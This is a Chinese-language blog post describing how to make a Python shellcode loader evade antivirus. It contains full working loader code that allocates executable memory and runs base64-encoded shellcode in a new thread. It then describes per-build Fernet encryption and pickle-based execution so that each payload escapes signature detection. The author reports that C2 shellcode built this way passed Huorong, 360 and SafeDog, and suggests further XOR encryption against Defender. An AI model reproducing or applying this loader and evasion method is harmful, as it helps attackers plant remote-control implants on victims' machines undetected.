静态完全免杀思路
引入
使用python加载shellcode的方式现在也被各大AV记录到特征库中,代码打包成exe后,也马上被火绒kill。网上大多的免杀方式都是将特征的函数替换或者加密混淆,针对国内大部分AV来说还是非常有效的,但是很容易又被纳入到特征库中,这样又要耗费精力去测试做免杀。
那是否有简单且有效的方法来完全规避掉静态查杀呢?
如果每次代码都完全不一样的话,自然AV就没法做到识别其特征并记录在库,其实要实现这个并不难,只要对原代码做加密,每次密钥不同就能使最后的代码体也会不同。
实现方式
我们先找一个常规的加载shellcode的代码,这里的shellcode只进行了一次base64的加密。
import base64,ctypes,codecs
shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjMFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTBceDUyXHg1MVx4NTZceDQ4XHgzMVx4ZDJceDY1XHg0OFx4OGJceDUyXHg2MFx4NDhceDhiXHg1Mlx4MThceDQ4XHg4Ylx4NTJceDIwXHg0OFx4OGJceDcyXHg1MFx4NDhceDBmXHhiN1x4NGFceDRhXHg0ZFx4MzFceGM5XHg0OFx4MzFceGMwXHhhY1x4M2NceDYxXHg3Y1x4MDJceDJjXHgyMFx4NDFceGMxXHhjOVx4MGRceDQxXHgwMVx4YzFceGUyXHhlZFx4NTJceDQxXHg1MVx4NDhceDhiXHg1Mlx4MjBceDhiXHg0Mlx4M2NceDQ4XHgwMVx4ZDBceDhiXHg4MFx4ODhceDAwXHgwMFx4MDBceDQ4XHg4NVx4YzBceDc0XHg2N1x4NDhceDAxXHhkMFx4NTBceDhiXHg0OFx4MThceDQ0XHg4Ylx4NDBceDIwXHg0OVx4MDFceGQwXHhlM1x4NTZceDQ4XHhmZlx4YzlceDQxXHg4Ylx4MzRceDg4XHg0OFx4MDFceGQ2XHg0ZFx4MzFceGM5XHg0OFx4MzFceGMwXHhhY1x4NDFceGMxXHhjOVx4MGRceDQxXHgwMVx4YzFceDM4XHhlMFx4NzVceGYxXHg0Y1x4MDNceDRjXHgyNFx4MDhceDQ1XHgzOVx4ZDFceDc1XHhkOFx4NThceDQ0XHg4Ylx4NDBceDI0XHg0OVx4MDFceGQwXHg2Nlx4NDFceDhiXHgwY1x4NDhceDQ0XHg4Ylx4NDBceDFjXHg0OVx4MDFceGQwXHg0MVx4OGJceDA0XHg4OFx4NDhceDAxXHhkMFx4NDFceDU4XHg0MVx4NThceDVlXHg1OVx4NWFceDQxXHg1OFx4NDFceDU5XHg0MVx4NWFceDQ4XHg4M1x4ZWNceDIwXHg0MVx4NTJceGZmXHhlMFx4NThceDQxXHg1OVx4NWFceDQ4XHg4Ylx4MTJceGU5XHg1N1x4ZmZceGZmXHhmZlx4NWRceDQ4XHhiYVx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHg0OFx4OGRceDhkXHgwMVx4MDFceDAwXHgwMFx4NDFceGJhXHgzMVx4OGJceDZmXHg4N1x4ZmZceGQ1XHhiYlx4ZjBceGI1XHhhMlx4NTZceDQxXHhiYVx4YTZceDk1XHhiZFx4OWRceGZmXHhkNVx4NDhceDgzXHhjNFx4MjhceDNjXHgwNlx4N2NceDBhXHg4MFx4ZmJceGUwXHg3NVx4MDVceGJiXHg0N1x4MTNceDcyXHg2Zlx4NmFceDAwXHg1OVx4NDFceDg5XHhkYVx4ZmZceGQ1XHg2M1x4NjFceDZjXHg2M1x4MmVceDY1XHg3OFx4NjVceDAw"
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
很显然,如果直接将该py文件打包成exe,AV直接就kill掉了。
这里我们选择用python里面的Fernet模块对代码进行一个加密。
Fernet模块加密的过程,先生成一个随机密钥key,在用密钥key加密字符串str得到加密字符串b。
key = Fernet.generate_key()
b =Fernet(key).encrypt(str).decode()
接下来写解密过程
b =Fernet(cipher_key).decrypt(fuck.encode()).decode()
这时候我们原代码已经完全解密了出来,这时候附上exec执行即可
这里换上C2的shellcode再打包,发现其已经过了火绒、360、安全狗。
但是这里我看exec
不爽,再通过反序列化的方式进行加载执行。
在加密前先对原代码进行序列化操作。
再对代码反序列化加载即可。
测试效果
这里我也将其写成了生成的脚本(不过写的太烂不想拿出来丢人现眼了),将生成的payload.py打包成exe
这里过火绒、360、安全狗的图就不展示了。
结束
其实这里只是利用了一个加密和序列化来做到隐藏特征和让马子一次一个样子无法被AV记录特征,如果需要过def的话,就对shellcode进行异或等等的加密操作,通过这种方式可以让师傅们形形色色的免杀穿上一层外套,所以更多是一种思路。希望师傅们轻喷。